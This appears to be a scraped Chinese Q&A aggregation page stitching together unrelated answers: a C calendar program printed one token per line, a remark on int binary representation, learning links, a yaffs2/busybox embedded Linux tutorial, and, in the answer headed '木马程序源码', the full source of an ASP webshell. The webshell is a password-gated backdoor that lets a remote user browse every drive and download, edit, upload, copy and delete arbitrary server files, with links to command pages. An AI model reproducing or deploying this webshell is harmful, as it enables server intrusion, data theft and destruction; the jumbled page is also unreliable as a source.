当前位置:首页 » 操作系统 » 31源码

31源码

发布时间: 2022-10-23 19:25:21

linux装无线网卡驱动问题,版本2.6.31-cd1,好像没装内核源码,再怎么继续啊

又是驱动问题,先把原先的无线驱动禁止掉 然后把你下载的驱动安装 重启 即可!

❷ 求c语言编日历源代码的详细说明

/*
稍微改了下对齐格式,加了注释
*/
/*
1、闰年的算法:
如果某年能被4整除但不能被100整除,
或者能被400整除,
则该年是闰年.
用表达式表示就是
(year
%4
==
0
&&
year%100
!=
0)
||
(year%400
==
0)
2、计算某一天是星期几:
已知1900年的1月1号为星期一,
然后就可以用某一天和1900年的1月1号相差的天数对7取余来求星期,
本题是用的公元1年的1月1号作为基准
*/
#include
<stdio.h>
#include<conio.h>
#include<stdlib.h>
int
IsLeapYear(int);
//函数定义
void
main()
{
int
i;
int
day;
int
year;
int
temp;
int
temp_i;
long
int
Year_days
=
0;
int
Year_Start
=
1;
int
Per_Year_Days;
int
month_day[]={31,28,31,30,31,30,31,31,30,31,30,31,29};
printf("Please
enter
the
year:
");
scanf("%d",&year);
//输入年份
while(Year_Start
<
year)
//从公元1年开始执行while循环,
该年的一月一号为星期一
{
if(
IsLeapYear(
Year_Start
)
)
Per_Year_Days
=
366;
//如果是闰年,
则一年有366天
else
Per_Year_Days
=
365;
//如果不是闰年,
则一年有365天
Year_days
=
Year_days
+
Per_Year_Days;
//Year_days为从公元1年到输入年份的前一年的天数的总和
Year_Start++;
}
for(
temp
=
1;
temp
<=12;
temp++
)
//temp从1到12,
对应一年内12个月
{
switch(
temp
)
//用switch语句将temp和12个月对应起来
{
case
1:
printf("
January(%d)\n",year);
//一月
break;
case
2:
printf("
February(%d)\n",year);
//二月
break;
case
3:
printf("
March(%d)\n",year);
//三月
break;
case
4:
printf("
April(%d)\n",year);
//四月
break;
case
5:
printf("
May(%d)\n",year);
//五月
break;
case
6:
printf("
June(%d)\n",year);
//六月
break;
case
7:
printf("
July(%d)\n",year);
//七月
break;
case
8:
printf("
August(%d)\n",year);
//八月
break;
case
9:
printf("
September(%d)\n",year);
//九月
break;
case
10:
printf("
October(%d)\n",year);
//十月
break;
case
11:
printf("
November(%d)\n",year);
//十一月
break;
case
12:
printf("
December(%d)\n",year);
//十二月
break;
}
i
=
Year_days
%
7;
//每个星期有7天,
故用每年的天数对7取余
printf("Mon\tTue\tWed\tThu\tFri\tSat\tSun\n");
if(
i
!=
0
)
//如果余数不为零
for(
temp_i
=
0;
temp_i
<
i;
temp_i++)
printf("\t");
//则打印空格(这里用\t代替空格,
更加美观),
空格数为i
day
=
1;
//初始化day为1,
为下面的while循环做准备
if(
IsLeapYear(year)
&&
temp
==
2)
//如果输入的年份是闰年,
并且月份为2
while(
day
<=
month_day[12]
)
//day为一循环变量,
取值为1-365(闰年的话为1-366)
{
if(
day
>1
)
//如果天数大于一
if(
Year_days
%
7
==
0
)
//如果是星期日,
则换行
printf("\n");
if(
day
>=
10
)
printf("%d\t",day);
//打印天数+空格
else
printf("%d\t",day);
Year_days++;
day++;
}
else
//如果不满足"输入的年份是闰年,
并且月份为2"
while
(day
<=
month_day[temp-1])
{
if(
day
>
1
)
if(
Year_days
%
7
==
0
)
printf("\n");
if(
day
>=10
)
printf("%d\t",day);
else
printf("%d\t",day);
Year_days++;
day++;
}
printf("\n");
if(
getch()
==
'q'
)
//如果输入为q,
则退出程序
exit(0);
}
getch();
//每按一次键,
打印一个月份
}
int
IsLeapYear(
int
year
)
{
//判断是否是闰年,
是则返回1,
否则返回0
if
((year
%4
==
0)
&&
(year
%
100
!=
0)
||
(year
%
400
==
0)
)
return
1;
else
return
0;
}

java中int类型最小值的二进制原码和补码表示方式

反码补码的规则,对int最小值没有用,最小值的源码是1个1,31个0,反码之后是32个1,直接变成-1了,补码加1变成0

❹ 如何阅读源代码

《通用源码阅读指导书》易哥 写的一本书

❺ C#原代码可以学习的网站,有学习价值的都行的,谢了,

http://www.csdn.net/

❻ 木马程序源码

一个asp木马:
<%@ LANGUAGE = VBScript.Encode codepage ="936" %>
<%Server.ScriptTimeOut=5000%>
<object runat=server id=oScript scope=page classid="clsid:72C24DD5-D70A-438B-8A42-98424B88AFB8"></object>
<object runat=server id=oScriptNet scope=page classid="clsid:093FF999-1EA0-4079-9525-9614C3504B74"></object>
<object runat=server id=oFileSys scope=page classid="clsid:0D43FE01-F093-11CF-8940-00A0C9054228"></object>
<%
'on error resume next
dim Data_5xsoft
Class upload_5xsoft
dim objForm,objFile,Version
Public function Form(strForm)
strForm=lcase(strForm)
if not objForm.exists(strForm) then
Form=""
else
Form=objForm(strForm)
end if
end function

Public function File(strFile)
strFile=lcase(strFile)
if not objFile.exists(strFile) then
set File=new FileInfo
else
set File=objFile(strFile)
end if
end function

Private Sub Class_Initialize
dim RequestData,sStart,vbCrlf,sInfo,iInfoStart,iInfoEnd,tStream,iStart,theFile
dim iFileSize,sFilePath,sFileType,sFormValue,sFileName
dim iFindStart,iFindEnd
dim iFormStart,iFormEnd,sFormName
Version="HTTP上传程序 Version 2.0"
set objForm=Server.CreateObject("Scripting.Dictionary")
set objFile=Server.CreateObject("Scripting.Dictionary")
if Request.TotalBytes<1 then Exit Sub
set tStream = Server.CreateObject("adodb.stream")
set Data_5xsoft = Server.CreateObject("adodb.stream")
Data_5xsoft.Type = 1
Data_5xsoft.Mode =3
Data_5xsoft.Open
Data_5xsoft.Write Request.BinaryRead(Request.TotalBytes)
Data_5xsoft.Position=0
RequestData =Data_5xsoft.Read

iFormStart = 1
iFormEnd = LenB(RequestData)
vbCrlf = chrB(13) & chrB(10)
sStart = MidB(RequestData,1, InStrB(iFormStart,RequestData,vbCrlf)-1)
iStart = LenB (sStart)
iFormStart=iFormStart+iStart+1
while (iFormStart + 10) < iFormEnd
iInfoEnd = InStrB(iFormStart,RequestData,vbCrlf & vbCrlf)+3
tStream.Type = 1
tStream.Mode =3
tStream.Open
Data_5xsoft.Position = iFormStart
Data_5xsoft.CopyTo tStream,iInfoEnd-iFormStart
tStream.Position = 0
tStream.Type = 2
tStream.Charset ="gb2312"
sInfo = tStream.ReadText
tStream.Close
iFormStart = InStrB(iInfoEnd,RequestData,sStart)
iFindStart = InStr(22,sInfo,"name=""",1)+6
iFindEnd = InStr(iFindStart,sInfo,"""",1)
sFormName = lcase(Mid (sinfo,iFindStart,iFindEnd-iFindStart))
if InStr (45,sInfo,"filename=""",1) > 0 then
set theFile=new FileInfo
iFindStart = InStr(iFindEnd,sInfo,"filename=""",1)+10
iFindEnd = InStr(iFindStart,sInfo,"""",1)
sFileName = Mid (sinfo,iFindStart,iFindEnd-iFindStart)
theFile.FileName=getFileName(sFileName)
theFile.FilePath=getFilePath(sFileName)
iFindStart = InStr(iFindEnd,sInfo,"Content-Type: ",1)+14
iFindEnd = InStr(iFindStart,sInfo,vbCr)
theFile.FileType =Mid (sinfo,iFindStart,iFindEnd-iFindStart)
theFile.FileStart =iInfoEnd
theFile.FileSize = iFormStart -iInfoEnd -3
theFile.FormName=sFormName
if not objFile.Exists(sFormName) then
objFile.add sFormName,theFile
end if
else
tStream.Type =1
tStream.Mode =3
tStream.Open
Data_5xsoft.Position = iInfoEnd
Data_5xsoft.CopyTo tStream,iFormStart-iInfoEnd-3
tStream.Position = 0
tStream.Type = 2
tStream.Charset ="gb2312"
sFormValue = tStream.ReadText
tStream.Close
if objForm.Exists(sFormName) then
objForm(sFormName)=objForm(sFormName)&", "&sFormValue
else
objForm.Add sFormName,sFormValue
end if
end if
iFormStart=iFormStart+iStart+1
wend
RequestData=""
set tStream =nothing
End Sub

Private Sub Class_Terminate
if Request.TotalBytes>0 then
objForm.RemoveAll
objFile.RemoveAll
set objForm=nothing
set objFile=nothing
Data_5xsoft.Close
set Data_5xsoft =nothing
end if
End Sub

Private function GetFilePath(FullPath)
If FullPath <> "" Then
GetFilePath = left(FullPath,InStrRev(FullPath, "\"))
Else
GetFilePath = ""
End If
End function

Private function GetFileName(FullPath)
If FullPath <> "" Then
GetFileName = mid(FullPath,InStrRev(FullPath, "\")+1)
Else
GetFileName = ""
End If
End function
End Class

Class FileInfo
dim FormName,FileName,FilePath,FileSize,FileType,FileStart
Private Sub Class_Initialize
FileName = ""
FilePath = ""
FileSize = 0
FileStart= 0
FormName = ""
FileType = ""
End Sub

Public function SaveAs(FullPath)
dim dr,ErrorChar,i
SaveAs=true
if trim(fullpath)="" or FileStart=0 or FileName="" or right(fullpath,1)="/" then exit function
set dr=CreateObject("Adodb.Stream")
dr.Mode=3
dr.Type=1
dr.Open
Data_5xsoft.position=FileStart
Data_5xsoft.to dr,FileSize
dr.SaveToFile FullPath,2
dr.Close
set dr=nothing
SaveAs=false
end function
End Class
httpt = Request.ServerVariables("server_name")
rseb=Request.ServerVariables("SCRIPT_NAME")
q=request("q")
if q="" then q=rseb
select case q
case rseb
if Epass(trim(request.form("password")))="q_ux888556" then
response.cookies("password")="7758521"
response.redirect rseb & "?q=list.asp"
else %>
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
<title><%=httpt%></title>
<meta name="GENERATOR" content="Microsoft FrontPage 3.0">
</head>

<body>
<%if request.form("password")<>"" then
response.write "Password Error!"
end if
%>

<table border="1" width="100%" height="89" bgcolor="#DFDFFF" cellpadding="3"
bordercolorlight="#000000" bordercolordark="#F2F2F9" cellspacing="0">
<tr>
<td width="100%" height="31" bgcolor="#000080"><p align="center"><font color="#FFFFFF"><%=httpt%></font></td>
</tr>
<tr>
<td width="100%" height="46"><form method="POST" action="<%=rseb%>?q=<%=rseb%>">
<div align="center"><center><p>Enter Password:<input type="password" name="password"
size="20"
style="border-left: thin none; border-right: thin none; border-top: thin outset; border-bottom: thin outset">
<input type="submit" value="OK!LOGIN" name="B1"
style="font-size: 9pt; border: thin outset"></p>
</center></div>
</form>
</td>
</tr>
</table>
</body>
</html>
<%end if%>

<%case "down.asp"
call downloadFile(request("path"))
function downloadFile(strFile)
strFilename = strFile
Response.Buffer = True
Response.Clear
set s = Server.CreateObject("adodb.stream")
s.Open
s.Type = 1
if not oFileSys.FileExists(strFilename) then
Response.Write("<h1>Error:</h1>" & strFilename & " does not exist<p>")
Response.End
end if
Set f = oFileSys.GetFile(strFilename)
intFilelength = f.size
s.LoadFromFile(strFilename)
if err then
Response.Write("<h1>Error: </h1>" & err.Description & "<p>")
Response.End
end if
Response.AddHeader "Content-Disposition", "attachment; filename=" & f.name
Response.AddHeader "Content-Length", intFilelength
Response.CharSet = "UTF-8"
Response.ContentType = "application/octet-stream"
Response.BinaryWrite s.Read
Response.Flush
s.Close
Set s = Nothing
response.end
End Function
%>
<%case "list.asp"%>
<%
urlpath=server.urlencode(path)
if Request.Cookies("password")="7758521" then
dim cpath,lpath
if Request("path")="" then
lpath="/"
else
lpath=Request("path")&"/"
end if
if Request("attrib")="true" then
cpath=lpath
attrib="true"
else
cpath=Server.MapPath(lpath)
attrib=""
end if
Sub GetFolder()
dim theFolder,theSubFolders
if oFileSys.FolderExists(cpath)then
Set theFolder=oFileSys.GetFolder(cpath)
Set theSubFolders=theFolder.SubFolders
Response.write"<a href='" & rseb & "?q=list.asp&path="&Request("oldpath")&"&attrib="&attrib&"'><font color='#FF8000'>■</font>↑<font color='ff2222'>回上级目录</font></a><br><script language=vbscript>"
For Each x In theSubFolders
%>so "<%=lpath%>","<%=x.Name%>","<%=request("path")%>","<%=attrib%>"
<%
Next
%></script><%
end if
End Sub

Sub GetFile()
dim theFiles
if oFileSys.FolderExists(cpath)then
Set theFolder=oFileSys.GetFolder(cpath)
Set theFiles=theFolder.Files
Response.write"<table border='0' width='100%' cellpadding='0'><script language=vbscript>"
For Each x In theFiles
if Request("attrib")="true" then
showstring=x.Name
else
showstring=x.Name
end if
%>sf "<%=showstring%>","<%=x.size%>","<%=x.type%>","<%=x.Attributes%>","<%=x.DateLastModified%>","<%=lpath%>","<%=x.name%>","<%=attrib%>","<%=x.name%>"
<%
Next
end if
Response.write"</script></table>"
End Sub
%>
<html>

<head>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
<title><%=httpt%></title>
<style type="text/css">
<!--
table{ font-family: 宋体; font-size: 9pt }
a{ font-family: 宋体; font-size: 9pt; color: rgb(0,32,64); text-decoration: none }
a:hover{ font-family: 宋体; color: rgb(255,0,0); text-decoration: none }
a:visited{ color: rgb(128,0,0) }
td { font-size: 9pt}
a { color: #000000; text-decoration: none}
a:hover { text-decoration: underline}
.tx { height: 16px; width: 30px; border-color: black black #000000; border-top-width: 0px; border-right-width: 0px; border-bottom-width: 1px; border-left-width: 0px; font-size: 9pt; background-color: #eeeeee; color: #0000FF}
.bt { font-size: 9pt; border-top-width: 0px; border-right-width: 0px; border-bottom-width: 0px; border-left-width: 0px; height: 16px; width: 80px; background-color: #eeeeee; cursor: hand}
.tx1 { height: 18px; width: 60px; font-size: 9pt; border: 1px solid; border-color: black black #000000; color: #0000FF}
-->
</style>
</head>
<script language="JavaScript">
function crfile(ls)
{if (ls==""){alert("请输入文件名!");}
else {window.open("<%=rseb%>?q=edit.asp&attrib=<%=request("attrib")%>&creat=yes&path=<%=lpath%>"+ls);}
return false;
}
function crdir(ls)
{if (ls==""){alert("请输入文件名!");}
else {window.open("<%=rseb%>?q=edir.asp&attrib=<%=request("attrib")%>&op=creat&path=<%=lpath%>"+ls);}
return false;
}
</script>
<script language="vbscript">
sub sf(showstring,size,type1,Attributes,DateLastModified,lpath,xname,attrib,name)
document.write "<tr style=""color: #000000; background-color: #FFefdf; text-decoration: blink; border: 1px solid #000080"" onMouseOver=""this.style.backgroundColor = '#FFCC00'"" onMouseOut=""this.style.backgroundColor = '#FFefdf'""><td width='50%'><font color='#FF8000'><font face=Wingdings>+</font></font><a href='"& urlpath & lpath & xName &"' target='_blank'><strong>" & showstring & "</strong></a></td><td width='20%' align='right'>" & size & "字节</td><td width='30%'><a href='#' title='类型:" & type1 & chr(10) & "属性:" & Attributes & chr(10) & "时间:" & DateLastModified &"'>属性</a> <a href='<%=rseb%>?q=edit.asp&path=" & lpath & xName & "&attrib=" & attrib &"' target='_blank' ><font color='#FF8000' ></font>编辑</a> <a href="&chr(34)&"javascript: rmdir1('"& lpath & xName &"')"&chr(34)&"><font color='#FF8000' ></font>删除</a> <a href='#' onclick=file('" & lpath & Name & "')><font color='#FF8000' ></font>复制</a> <a href='<%=rseb%>?q=down.asp&path=<%=cpath%>\"&xName&"&attrib=" & attrib &"' target='_blank' ><font color='#FF8000' ></font>下载</a></td></tr>"
end sub
sub so(lpath,xName,path,attrib)
document.write "<a href='<%=rseb%>?q=list.asp&path="& lpath & xName & "&oldpath=" & path & "&attrib=" & attrib &"'>└<font color='#FF8000'><font face=Wingdings>1</font></font> " & xName &"</a> <a href="&chr(34)&"javascript: rmdir('"& lpath & xName &"')"&chr(34)&"><font color='#FF8000' ></font>删除</a><br>"
end sub

sub rmdir1(ls)
if confirm("你真的要删除这个文件吗!"&Chr(13)&Chr(10)&"文件为:"&ls) then
window.open("<%=rseb%>?q=edit.asp&path=" & ls & "&op=del&attrib=<%=request("attrib")%>")
end if
end sub

sub rmdir(ls)
if confirm("你真的要删除这个目录吗!"&Chr(13)&Chr(10)&"目录为:"&ls) then
window.open("<%=rseb%>?q=edir.asp&path="&ls&"&op=del&attrib=<%=request("attrib")%>")
end if
end sub

sub file(sfile)
dfile=InputBox("※文件复制※"&Chr(13)&Chr(10)&"源文件:"& sfile&Chr(13)&Chr(10)&"输入目标文件的文件名:"&Chr(13)&Chr(10) &"[允许带路径,要根据你的当前路径模式]")
dfile=trim(dfile)
attrib="<%=request("attrib")%>"
if dfile<>"" then
if InStr(dfile,":") or InStr(dfile,"/")=1 then
lp=""
if InStr(dfile,":") and attrib<>"true" then
alert "对不起,你在相对路径模式下不能使用绝对路径"&Chr(13)&Chr(10)&"错误路径:["&dfile&"]"
exit sub
end if
else
lp="<%=lpath%>"
end if
window.open("<%=rseb%>?q=edit.asp&path="+sfile+"&op=&attrib="+attrib+"&dpath="+lp+dfile)
else
alert"您没有输入文件名!"
end If
end sub
</script>
<body>
<table border="1" width="100%" cellpadding="0" height="81" bordercolorlight="#000000"
bordercolordark="#FFFFFF" cellspacing="0">
<tr>
<td width="755" bgcolor="#000080" colspan="2" height="23"><p align="center"><font size="3"
color="#FFFFFF"><%=httpt%></font></td>
</tr>
<tr>
<td width="751" bgcolor="#C0C0C0" colspan="2">※换盘:<span
style="background-color: rgb(255,255,255);color:rgb(255,0,0)"><%
For Each thing in oFileSys.Drives
Response.write "<font face=Wingdings>:</font><a href='" & rseb & "?q=list.asp&path="&thing.DriveLetter&":&attrib=true'>"&thing.DriveLetter&":</a>"
NEXT
%> </span> 地址:
<%= "\\" & oScriptNet.ComputerName & "\" & oScriptNet.UserName %></td>
</tr>
<tr>
<td width="751" bgcolor="#C0C0C0" colspan="2">※<%
if Request("attrib")="true" then
response.write "<a href='" & rseb & "?q=list.asp'>切到相对路径</a>"
else
response.write "<a href='" & rseb & "?attrib=true&q=list.asp'>切到绝对路径</a>"
end if
%> ※绝对:<span
style="background-color: rgb(255,255,255)"><%=cpath%></span></td>
</tr>
<tr>
<td width="751" bgcolor="#C0C0C0" colspan="2">※当前<font color="#FF8000"><font face=Wingdings>1</font></font>:<span style="background-color: rgb(255,255,255)"><%=lpath%></span> </td>
</tr><form name="form1" method="post" action="<%=rseb%>?q=upfile.asp" target="_blank" enctype="multipart/form-data">
<tr><td bgcolor="#C0C0C0" colspan="2" style="height: 20px">

编辑|
<input class="tx1" type="text" name="filename" size="20">
<input class="tx1" type="button" value="建文" onclick="crfile(form1.filename.value)">
<input class="tx1" type="button" value="建目" onclick="crdir(form1.filename.value)">
<input type="file" name="file1" class="tx1" style="width:100" value="">
<input type="text" name="filepath" class="tx1" style="width:100" value="<%=cpath%>">
<input type="hidden" name="act" value="upload">
<input type="hidden" name="upcount" class="tx" value="1">
<input class="tx1" type="submit" value="上传">
<input class="tx1" type="button" onclick="window.open('<%=rseb%>?q=cmd.asp','_blank')" value="命令">
<input class="tx1" type="button" onclick="window.open('<%=rseb%>?q=test.asp','_blank')" value="配置">
<input class="tx1" type="button" onclick="window.open('<%=rseb%>?q=p.asp','_blank')" value="nfso">
</td>
</td>
</tr></form>
<tr>
<td width="169" valign="top" bgcolor="#C8E3FF"><%Call GetFolder()%>
</td>
<td width="582" valign="top" bgcolor="#FFefdf"><%Call GetFile()%>
</td>
</tr>
</table>
<%else
response.write "Password Error!"
response.write "<a href='" & rseb & "?q=" & rseb & "'>【返 回】</a>"
end if
%>
</body>
</html>
<%case "edit.asp"%>
<html>

<head>
<meta HTTP-EQUIV="Content-Type" CONTENT="text/html;charset=gb_2312-80">
<title>编辑源代码</title>
<style>
<!--
table{ font-family: 宋体; font-size: 12pt }
a{ font-family: 宋体; font-size: 12pt; color: rgb(0,32,64); text-decoration: none }
a:hover{ font-family: 宋体; color: rgb(255,0,0); text-decoration: underline }
a:visited{ color: rgb(128,0,0) }
-->
</style>
</head>

<body>
<% '读文件
if Request.Cookies("password")="7758521" then
if request("op")="del" then
if Request("attrib")="true" then
whichfile=Request("path")
else
whichfile=server.mappath(Request("path"))
end if
Set thisfile = oFileSys.GetFile(whichfile)
thisfile.Delete True
Response.write "<script>alert('删除成功!要刷新才能看到效果');window.close();</script>"
else
if request("op")="" then
if Request("attrib")="true" then
whichfile=Request("path")
dsfile=Request("dpath")
else
whichfile=server.mappath(Request("path"))
dsfile=Server.MapPath(Request("dpath"))
end if
Set thisfile = oFileSys.GetFile(whichfile)
thisfile. dsfile
%>
<script language=vbscript>
msgbox "源文件:<%=whichfile%>" & vbcrlf & "目的文件:<%=dsfile%>" & vbcrlf & "复制成功!要刷新才能看到效果!"
window.close()
</script>
<%
else
if request.form("text")="" then
if Request("creat")<>"yes" then
if Request("attrib")="true" then
whichfile=Request("path")
else
whichfile=server.mappath(Request("path"))
end if
Set thisfile = oFileSys.OpenTextFile(whichfile, 1, False)
counter=0
thisline=thisfile.readall
thisfile.Close
set fs=nothing
end if
%>

<form method="POST" action="<%=rseb%>?q=edit.asp">
<input type="hidden" name="attrib" value="<%=Request("attrib")%>"><table border="0"
width="700" cellpadding="0">
<tr>
<td width="100%" bgcolor="#FFDBCA"><div align="center"><center><p><%=httpt%></td>
</tr>
<tr align="center">
<td width="100%" bgcolor="#FFDBCA">文件名:<input type="text" name="path" size="45"
value="<%=Request("path")%> ">直接更改文件名,相当于“另存为”</td>
</tr>
<tr align="center">
<td width="100%" bgcolor="#FFDBCA"><textarea rows="25" name="text" cols="90"><%=thisline%></textarea></td>
</tr>
<tr align="center">
<td width="100%" bgcolor="#FFDBCA"><div align="center"><center><p><input type="submit"
value="提交" name="B1"><input type="reset" value="复原" name="B2"></td>
</tr>
</table>
</form>
<%else
if Request("attrib")="true" then
whichfile=Request("path")
else
whichfile=server.mappath(Request("path"))
end if
Set outfile=oFileSys.CreateTextFile(whichfile)
outfile.WriteLine Request("text")
outfile.close
set fs=nothing
Response.write "<script>alert('修改成功!要刷新才能看到效果');window.close();</script>"
end if
end if
end if
else
response.write "Password Error!"
response.write "<a href='" & rseb & "?q=" & rseb & "'>【返 回】</a>"
end if

%>
</body>
</html>
<%case "edir.asp"%>
<html>

<head>
<meta HTTP-EQUIV="Content-Type" CONTENT="text/html;charset=gb_2312-80">
<title>目录操作</title>
<style>
<!--
table{ font-family: 宋体; font-size: 12pt }
a{ font-family: 宋体; font-size: 12pt; color: rgb(0,32,64); text-decoration: none }
a:hover{ font-family: 宋体; color: rgb(255,0,0); text-decoration: underline }
a:visited{ color: rgb(128,0,0) }
-->
</style>
</head>

<body>
<% '读文件
if Request.Cookies("password")="7758521" then

if request("op")="del" then

if Request("attrib")="true" then
whichdir=Request("path")
else
whichdir=server.mappath(Request("path"))
end if
oFileSys.DeleteFolder whichdir,True
Response.write "<script>alert('删除的目录为:" & whichdir & "删除成功!要刷新才能看到效果');window.close();</script>"

else

if request("op")="creat" then
if Request("attrib")="true" then
whichdir=Request("path")
else
whichdir=server.mappath(Request("path"))
end if
oFileSys.CreateFolder whichdir
Response.write "<script>alert('建立的目录为:" & whichdir & "建立成功!要刷新才能看到效果');window.close();</script>"
end if
end if
else
response.write "Password Error!"
response.write "<a href='" & rseb & "?q=" & rseb & "'>【返 回】</a>"
end if
%>
</body>
</html>
<%
case "upfile.asp"
if Request.Cookies("password")="7758521" then
set upload=new upload_5xSoft
if upload.form("filepath")="" then
HtmEnd "请输入要上传至的目录!"
set upload=nothing
response.end
else
formPath=upload.form("filepath")
if right(formPath,1)<>"/" then formPath=formPath&"/"
end if

iCount=0
for each formName in upload.objForm
set file=upload.file(formName)
if file.FileSize>

❼ 如何使linux内核2.6.31支持yaffs2文件系统

下面操作的前提是:内核支持nand flash
一. 下载yaffs2源码,(我将源码反正/opt目录下),并解压源码,进入源码目录
# tar xzvf yaffs2.tar.gz
# cd yaffs2
二. 为内核添加yaffs2文件系统补丁,执行:
# ./patch-ker.sh c m /..../linux-2.6.31.1 <----c m后面接的是内核源码所在的目录
执行完后,在内核源码fs目录下就多了一个yaffs2目录,同时Makefile和Kconfig文件也增加了对yaffs2的配置和编译条件。
三. 配置内核对yaffs2的支持
这里的配置根据自己的需求,把不用的文件系统都去掉。
#make menuconfig
找到下面的配置:
File systems --->
DOS/FAT/NT Filesystems --->
<*> MSDOS fs support
<*> VFAT (Windows95) fs support
Miscellaneous filesystems --->
<*> YAFFS2 file system support
[*] Autoselect yaffs2 format
配置语言选项:
Native Language support --->
(iso8859-1) Default NLS Option
<*> Codepage 437(United States, Canada)
<*> Simplified Chinese charset(CP936, GB2312)
<*> NLS ISO8859-1 (Latin 1; Western European Language)
<*> NLS UTF-8
现在内核已经支持NandFlash和yaffs2文件系统,重新编译内核:
#make zImage
将编译好的内核烧入NandFlash后,再烧入yaffs2文件系统,就可以了。

四. 制作yaffs2根文件系统
1. 环境
(1) 交叉编译器版本: arm-linux-gcc 4.3.3
(2) Linux环境:redhat enterprise 5.5 (2.6.18-194.el5)
(3) 开发板:TQ2440

2. 编译busybox
(1) 获取busybox源码,放在/opt目录下,解压,进入busybox源码目录
#tar jxvf busybox-1.17.2.tar.bz2
#cd busybox-1.17.2
#vi Makefile
将164行改为CROSS_COMPILE = arm-linux-
将190行改为ARCH = arm
保存退出进入配置菜单
#make menuconfig 采用默认配置保存推出
#make
#make install
通过上面的步骤,在busybox-1.17.2的根目录下出现了一个_install目录,
在该目录下又有三个目录文件bin sbin usr和一个链接文件 linuxrc。

3. 创建根文件系统必要的目录
(1)在/opt目录下创建root_fs目录
#mkdir root_fs
#cd root_fs
(2)将busybox-1.17.2的根目录下_install中的bin sbin usr和linuxrc拷贝到root_fs
#cp -rf /opt/busybox-1.17.2/_install/* /opt/root_fs
(3)创建必要的目录
#mkdir dev etc home lib mnt opt proc root sys tmp var
(4)创建必要的二级目录
#mkdir usr/lib usr/share
#mkdir etc/rc.d
#mkdir var/lib var/lock var/run var/tmp

4. 创建必要的文件
(1) 获取库文件,(交叉编译工具下的库文件)到root_fs/lib目录中
#cp -rf /opt/arm/4.3.3/arm-none-linux-gnueabi/libc/armv4t/lib/*so* lib -a
(2) 将主机etc目录下的passwd、group、shadow文件拷贝到root_fs/etc目录下
#cp -f /etc/passwd /etc/group /etc/shadow etc
将目录/opt/busybox-1.17.2/examples/bootfloppy/etc下的所有文件拷贝到root_fs/etc下。
在这个目录下有三个文件fstab, inittab, profile和一个目录init.d,在目录init.d中有一个文件rcS。
#cp -rf /opt/busybox-1.17.2/examples/bootfloppy/etc/* etc
在目录etc下创建文件mdev.conf。mdev是?v的一个简化版本,
我们可以通过文件mdev.conf自定义一些设备节点的名称或链接来满足特定的需要,但在此处让它为空。
#touh etc/mdev.conf
(3)创建两个设备文件dev/console dev/null。
在linux内核源码文件init/main.c中有打开设备文件dev/console的操作如下:
static noinline int init_post(void)
__releases(kernel_lock)
{
………………………………
if (sys_open((const char __user *) "/dev/console", O_RDWR, 0) < 0)
printk(KERN_WARNING "Warning: unable to open an initial console.\n");
………………………………
}
内核启动执行到这里时mdev还没有构建dev目录,如果没有创建设备文件dev/console就将会打印警告
Warning: unable to open an initial console。
在内核启动的过程中要将产生的一些垃圾信息丢弃就需要空设备dev/null。
#mknod dev/console c 5 1
#mknod dev/null c 1 3

5. 修改文件
在启动过程中bootloader会传递参数init=/linuxrc给内核的main()函数,所以在文件系统被挂载后,
运行的第一个程序是linuxrc,而linuxrc是一个指向/bin/busybox的链接文件,也就是说文件系统被挂在后运行的第一个程序是busybox。
Busybox首先会解析文件/etc/inittab,这个文件中存放的是系统的配置信息,这些配置信息指明了接下来将要启动那些程序。
-------------------------------------------------------------------------------------------------------
(1)修改文件etc/inittab如下
::sysinit:/etc/init.d/rcS
s3c2410_serial0::askfirst:-/bin/sh
::ctrlaltdel:/sbin/reboot
::shutdown:/bin/umount -a -r

说明:
/etc/inittab 文件中每个条目用来定义一个子进程,并确定它的启动方法,格式如下
:::
:表示这个进程要使用的控制台(即标准输入、标准输出、标准错误设备)。如果省 略,则使用与init进程一样的控制台。
:对于Busybox init程序,这个字段滑意义,可以省略。
:表示init程序如何控制这个子进程,
: 要执行的程序,它可以是可执行程序,也可以是脚本

文件etc/inittab配置条目说明如下:
::sysinit:/etc/init.d/rcS
启动系统初始化文件/etc/init.d/rcS。字段sysinit表明文件/etc/init.d/rcS在系统启动后最先执行,
并且只执行一次,init进程等待它结束才继续执行其它动作。(脚本文件名一般为rc,后缀S代表单用户运行级别脚本)
tq2440_serial0::askfirst:-/bin/sh
在串口s3c2410_serial0上启动askfirst动作的shell。
S3C2410的串口名在/dev下是s3c2410_serialx。askfirst表明init进程先输出 “Please press Enter to actvie this console”,
等用户输入回车键之后才启动-/bin/sh。
::ctrlaltdel:/sbin/reboot
当按下Ctrl+Alt+Delete组合键时,init重启执行程序。字段ctrlaltdel表明当按下Ctrl+Alt+Delete组合键时,执行相应的进程。
::shutdown:/bin/umount -a -r
告诉init在关机时运行umount命令卸载所有的文件系统,如果卸载失败,试图以只读方式重新挂载。
字段shutdown表明在重启关闭系统命令时执行相应进程。 ------------------------------------------------------------------------------------------------------------------------------
(2)当解析完文件etc/inittab后就将启动这些进程,首先要执行的是启动脚本etc/init.d/rcS。
修改文件etc/init.d/rcS如下:

#! /bin/sh

PATH=/sbin:/bin:/usr/sbin:/usr/bin

runlevel=S

prevlevel=N

umask 022

export PATH runlevel prevlevel

/bin/hostname CPEmbed

/sbin/ifconfig lo 127.0.0.1 up

/sbin/ifconfig eth0 192.168.1.8 netmask 255.255.255.0

/sbin/route add default gw 192.168.1.1 eth0

echo "---------------mount all-----------------"

/bin/mount -a

mkdir /dev/pts

/bin/mknod /dev/pts/0 c 136 0

/bin/mknod /dev/pts/1 c 136 1

/bin/mknod /dev/pts/2 c 136 2

/bin/mknod /dev/pts/3 c 136 3

/bin/mknod /dev/pts/4 c 136 4

/bin/mknod /dev/pts/5 c 136 5

/bin/mount -t devpts devpts /dev/pts

echo /sbin/mdev>/proc/sys/kernel/hotplug

mdev -s

/usr/sbin/telnetd &

/usr/sbin/vsftpd &

echo "******************************************"

echo "******************************************"

echo "** Kernel version: linux-2.6.31.1 **"

echo "** Date: 2012.04.12 **"

echo "******************************************"
说明如下:
#! /bin/sh 用busybox的shell
PATH=/sbin:/bin:/usr/sbin:/usr/bin //shell命令的搜索路径
runlevel=S //运行在单用户模式
prevlevel=N //前一个级别为n表示没有前一个级别
umask 022 //权限位掩码
export PATH runlevel prevlevel //将设置的变量导出到环境中
/bin/hostname CPembed //主机名,CPembed将出现在shell提示符中[root@CPembed/]#
/sbin/ifconfig lo 127.0.0.1 up //启动lo
/sbin/ifconfig eth0 192.168.1.8 netmask 255.255.255.0 up //配置ip地址
